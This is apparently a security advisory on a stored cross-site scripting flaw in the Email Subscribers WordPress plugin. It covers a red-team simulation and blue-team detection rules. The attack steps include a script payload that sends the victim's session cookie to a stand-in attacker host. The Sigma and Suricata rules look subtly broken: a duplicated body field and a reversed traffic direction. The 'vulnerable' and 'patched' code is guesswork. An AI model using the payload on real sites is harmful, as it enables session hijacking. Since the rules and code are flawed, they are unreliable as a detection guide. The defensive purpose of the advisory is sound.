CVE-2024-11636

Executive Summary

CVE-2024-11636 is a Stored Cross-Site Scripting (XSS) vulnerability in the Email Subscribers by Icegram Express WordPress plugin, affecting versions before 5.7.45. The flaw resides in the plugin's Text Block options, which fail to properly sanitize and escape user-supplied input. This allows high-privilege users (e.g., administrators) to inject arbitrary JavaScript code that executes in the context of other users' browsers when the malicious block is rendered. The attack is particularly dangerous in multisite WordPress installations where the unfiltered_html capability is disallowed, as it bypasses standard security controls. No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating low exploitation activity at the time of analysis.

WordPress Ecosystem & Plugin Security

This vulnerability is specific to the Email Subscribers by Icegram Express plugin within the WordPress ecosystem. It is not related to the underlying web server (Apache or Nginx) but stems from insecure handling of plugin settings by high-privilege users. The attack vector relies on the plugin's failure to validate and escape output, a common issue in WordPress plugins that can lead to persistent XSS.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – requires admin-level access
• User Interaction: Required (UI:R) – victim must view the malicious block
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – potential data leakage via XSS
• Integrity Impact: Low (I:L) – injected scripts can modify content
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the requirement for high privileges reduces the immediate risk. However, in multisite environments where admins may have limited capabilities, the impact is amplified.

Deep Dive & Mechanics

The vulnerability exists in the Text Block feature of the Email Subscribers plugin. When an admin creates or edits a campaign, they can add text blocks with custom content. The plugin fails to sanitize and escape the content of these blocks before storing them in the database and rendering them in the admin dashboard or email previews.

Attack Flow:

1. An authenticated admin with access to the plugin settings navigates to the Email Subscribers editor.
2. The admin inserts a Text Block and injects malicious JavaScript (e.g., <script>alert('XSS')</script>).
3. The plugin stores the unsanitized input in the WordPress database.
4. When another admin or user views the campaign (e.g., in the email preview or list), the injected script executes in their browser.
5. The attacker can steal session cookies, perform actions on behalf of the victim, or deface the admin interface.

Root Cause: The plugin uses echo or wp_kses_post incorrectly, or fails to apply esc_html() or wp_kses() to the Text Block content before output.

Vulnerable vs. Patched Code

Vulnerable Code (before 5.7.45):

// In a template or admin view
echo $text_block_content; // No sanitization

Patched Code (5.7.45+):

// Properly escape output
echo esc_html( $text_block_content );
// Or use wp_kses with allowed HTML tags
echo wp_kses( $text_block_content, $allowed_html );

The patch ensures that any HTML or JavaScript in the Text Block is escaped, preventing execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress instance with Email Subscribers plugin < 5.7.45
• Admin-level credentials (or ability to escalate to admin)
• Access to the plugin's campaign editor

Steps:

1. Log in as an admin.
2. Navigate to Email Subscribers > Campaigns and create a new campaign.
3. Add a Text Block and insert the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the campaign.
5. Share the campaign preview link with a target admin or wait for them to view it.
6. The script executes, exfiltrating the victim's session cookie to the attacker's server.

Note: No public exploit code is available; this is a theoretical simulation.

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual admin activity in the Email Subscribers plugin.
• Look for suspicious JavaScript in campaign content via database queries.
• Use WAF rules to block common XSS payloads in POST requests to /wp-admin/admin-ajax.php or plugin-specific endpoints.

Hunting Query (SQL):

SELECT * FROM wp_postmeta WHERE meta_key LIKE '%ig_es%' AND meta_value LIKE '%<script%';

Indicators of Compromise (IOCs)

• File Hashes: N/A (no known malicious files)
• Network Indicators:
  • Outbound connections to unknown domains from the WordPress admin interface.
  • HTTP requests containing document.cookie in the query string.
• Database Indicators:
  • Rows in wp_postmeta or plugin-specific tables containing <script> tags.
  • Unusual entries in wp_options with ig_es prefix.
• Log Indicators:
  • Admin user activity logs showing creation of campaigns with unusual content.
  • PHP error logs referencing ig_es functions with unescaped output.

Detection Engineering

YARA Rule

rule CVE_2024_11636_Email_Subscribers_XSS {
    meta:
        description = "Detects stored XSS payloads in Email Subscribers plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11636"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $plugin_path = "wp-content/plugins/email-subscribers"
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: Stored XSS in Email Subscribers Plugin
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts via Email Subscribers Text Block
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/admin-ajax.php'
        http.body: 'action=ig_es_save_campaign'
        http.body: '|contains|': '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in email templates (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-11636 - Stored XSS in Email Subscribers Plugin";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=ig_es_save_campaign"; http_client_body;
    content:"<script"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2024-11636;
)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin to version 5.7.45 or later via the WordPress admin dashboard.
2. If unable to update immediately, disable the Email Subscribers plugin until patched.
3. Review admin accounts and remove any unnecessary high-privilege users.

Long-Term Mitigations:

• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce the principle of least privilege for WordPress admin roles.
• Regularly audit plugin code for security vulnerabilities.
• Use security plugins like Wordfence to monitor for malicious activity.

Workaround:

• If patching is delayed, restrict access to the plugin's campaign editor to only trusted admins.
• Manually sanitize any Text Block content before saving (not recommended as a permanent fix).

Valters IT